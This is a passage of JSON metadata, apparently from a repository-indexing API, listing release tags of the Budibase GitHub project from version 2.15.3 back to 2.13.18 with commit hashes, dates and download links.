.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.3/manifests"},{"name":"2.15.2","sha":"c48f71ab76a3fff26bc0afde62563ffe328b786e","kind":"commit","published_at":"2024-01-19T15:42:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.2/manifests"},{"name":"2.15.1","sha":"2f410cf0b69d8913b7bf4ec50ada30032b0863b3","kind":"commit","published_at":"2024-01-19T11:34:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.1/manifests"},{"name":"2.15.0","sha":"74b2ca5b2e4f32bad6ac3abf527376ad318414a6","kind":"commit","published_at":"2024-01-17T17:02:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.0/manifests"},{"name":"2.14.8","sha":"4b0737832d6025ef6b94fd88a4e7b1c18ab05cab","kind":"commit","published_at":"2024-01-16T11:34:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.8/manifests"},{"name":"2.14.7","sha":"a4500841a3460583bcc1c2dea56deec4ae7e3252","kind":"commit","published_at":"2024-01-11T17:48:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.7/manifests"},{"name":"2.14.6","sha":"f80e8cc70cf85fe9cfb31c330f81fa854c84fd5a","kind":"commit","published_at":"2024-01-11T10:45:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.6/manifests"},{"name":"2.14.5","sha":"83e9ea091205b761abc23677637bc51e457e4662","kind":"commit","published_at":"2024-01-10T10:05:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.5/manifests"},{"name":"2.14.4","sha":"024c3ec3ae7fab74c519eb9474043bb9d267d502","kind":"commit","published_at":"2024-01-08T15:51:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.4/manifests"},{"name":"2.14.3","sha":"850b7dea108a459099e16b89a8fd2859c98b6ef1","kind":"commit","published_at":"2024-01-05T15:02:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.3/manifests"},{"name":"2.14.2","sha":"91fb70b2263fea510d812f455cb13a6bbada09b6","kind":"commit","published_at":"2024-01-04T15:05:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.2/manifests"},{"name":"2.14.1","sha":"ed148c71d1183eb871ba42f7a7bbd0eb6b2d6c4d","kind":"commit","published_at":"2024-01-04T13:04:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.1/manifests"},{"name":"2.14.0","sha":"a116523ddd86c94aa5684afe5ff94ce39a5e06ce","kind":"commit","published_at":"2024-01-03T14:13:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.14.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.14.0/manifests"},{"name":"2.13.53","sha":"c023e7f39f681dfa2872d2fcb97d65029f4d0f59","kind":"commit","published_at":"2024-01-03T12:58:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.53","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.53/manifests"},{"name":"2.13.52","sha":"a4194e4d00783086851b25336ce08e02f9bfcaaa","kind":"commit","published_at":"2024-01-02T17:16:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.52","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.52/manifests"},{"name":"2.13.51","sha":"865038d02f42bc6b23567359fdb3dc152a28a213","kind":"commit","published_at":"2023-12-29T17:24:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.51","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.51/manifests"},{"name":"2.13.50","sha":"8e241c657fde5a2e390824978f18c4d7811756ae","kind":"commit","published_at":"2023-12-21T15:46:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.50","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.50/manifests"},{"name":"2.13.49","sha":"8dfdddd2468cada6b0271428d9690ae414dca5ba","kind":"commit","published_at":"2023-12-20T16:47:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.49","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.49/manifests"},{"name":"2.13.48","sha":"34d1046c6d4d8e000bb323bd8ec967492b2b8446","kind":"commit","published_at":"2023-12-19T16:04:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.48","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.48/manifests"},{"name":"2.13.47","sha":"654f807d336f65afd116838533bd8c35f750a4f7","kind":"commit","published_at":"2023-12-19T15:19:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.47","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.47/manifests"},{"name":"2.13.46","sha":"819c2a1bb3d69f51f7d64165f16af669305c43c4","kind":"commit","published_at":"2023-12-18T12:00:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.46","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.46/manifests"},{"name":"2.13.45","sha":"31181d8186914c953c596a0aa7ce3e9787e11c05","kind":"commit","published_at":"2023-12-18T09:51:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.45","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.45/manifests"},{"name":"2.13.44","sha":"61d360b8c9b9cd3429d4a89fc26901935b916901","kind":"commit","published_at":"2023-12-15T14:41:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.44","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.44/manifests"},{"name":"2.13.43","sha":"d0bf82ea2dfebed988822013767c1efeda6d99b2","kind":"commit","published_at":"2023-12-15T08:14:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.43","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.43/manifests"},{"name":"2.13.42","sha":"e7606125b61647fbac2910bff229fcb9ee61c8cf","kind":"commit","published_at":"2023-12-14T16:33:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.42","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.42/manifests"},{"name":"2.13.41","sha":"359679dfc4d1233995eb11629df48667e0c02cfe","kind":"commit","published_at":"2023-12-14T11:34:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.41","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.41/manifests"},{"name":"2.13.40","sha":"51acf6aadc38cb3250c7dbe0f0f6a36e6b783ca7","kind":"commit","published_at":"2023-12-14T09:47:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.40","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.40/manifests"},{"name":"2.13.39","sha":"99eb6597fbc2562ebcca6ad14c5a90313049a9b7","kind":"commit","published_at":"2023-12-13T17:59:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.39","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.39/manifests"},{"name":"2.13.38","sha":"fac6646ed8813edba5267d7875ad592710ae7876","kind":"commit","published_at":"2023-12-13T14:51:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.38","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.38/manifests"},{"name":"2.13.37","sha":"0dca394a976cadaed76ee53f5814e0cbcadb6a20","kind":"commit","published_at":"2023-12-12T12:25:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.37","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.37/manifests"},{"name":"2.13.36","sha":"1735321949f15a1565280bdebe66eeecb7bbcd5c","kind":"commit","published_at":"2023-12-11T10:20:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.36","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.36/manifests"},{"name":"2.13.35","sha":"cab2a0cddbcb0684314621e3fa589f81f51a3dac","kind":"commit","published_at":"2023-12-07T10:26:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.35","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.35/manifests"},{"name":"2.13.34","sha":"dcfc5c4eaca3b072cfdbb097883e454361de8d6f","kind":"commit","published_at":"2023-12-06T17:28:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.34","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.34/manifests"},{"name":"2.13.33","sha":"dc76a9ced812515f60c2a1f4e1574732381d2eee","kind":"commit","published_at":"2023-12-06T14:24:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.33","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.33/manifests"},{"name":"2.13.32","sha":"492b79d99e5d2cb0863630a47a5135724f6627da","kind":"commit","published_at":"2023-12-06T14:13:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.32","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.32/manifests"},{"name":"2.13.31","sha":"1c0976b97a075710df385c7c1b4c2124658a808b","kind":"commit","published_at":"2023-12-04T12:31:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.31","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.31/manifests"},{"name":"2.13.30","sha":"19266b4770a643a7f78442c23e081154ebd4880f","kind":"commit","published_at":"2023-12-01T11:18:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.30","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.30/manifests"},{"name":"2.13.29","sha":"527f96814b89995329f8d8512a0950197842f479","kind":"commit","published_at":"2023-12-01T10:39:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.29","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.29/manifests"},{"name":"2.13.28","sha":"4326ee17d9811269a8bf25badba1c2c67e44d637","kind":"commit","published_at":"2023-11-30T17:33:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.28","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.28/manifests"},{"name":"2.13.27","sha":"37e065df21bba6ea7e7f2926493cfe7ee87beec3","kind":"commit","published_at":"2023-11-30T14:44:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.27","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.27/manifests"},{"name":"2.13.26","sha":"3131798d1d86ebf5c9bc949dea8c9f48bb835d60","kind":"commit","published_at":"2023-11-30T12:52:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.26","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.26/manifests"},{"name":"2.13.25","sha":"58736e02c7dd0d835792edad2d1a3649b68efd32","kind":"commit","published_at":"2023-11-30T12:43:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.25","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.25/manifests"},{"name":"2.13.24","sha":"ae9061f97882bcc465803854bf30aeac672d45e3","kind":"commit","published_at":"2023-11-30T11:27:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.24","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.24/manifests"},{"name":"2.13.23","sha":"5d97e6ad494c8e9f088948781d01bcc743f3ccea","kind":"commit","published_at":"2023-11-30T10:56:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.23","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.23/manifests"},{"name":"2.13.22","sha":"4edd3a3542f8e92b59f9bc9f3fe30d661e937ba6","kind":"commit","published_at":"2023-11-30T10:10:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.22","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.22/manifests"},{"name":"2.13.21","sha":"85d9984dcaf81c4b9d4089076e58ae9eea2623f7","kind":"commit","published_at":"2023-11-30T09:30:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.21","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.21/manifests"},{"name":"2.13.20","sha":"5ac30510c685a558dfe332cd734ba3cf55aaa0e5","kind":"commit","published_at":"2023-11-29T15:14:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.20","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.20/manifests"},{"name":"2.13.19","sha":"e35e4b592c441a3f075a47c1fb03793e3eece354","kind":"commit","published_at":"2023-11-28T11:48:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.19","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.19/manifests"},{"name":"2.13.18","sha":"3730988e7ffe619c640533df4803f52c29f1c561","kind":"commit","published_at":"2023-11-28T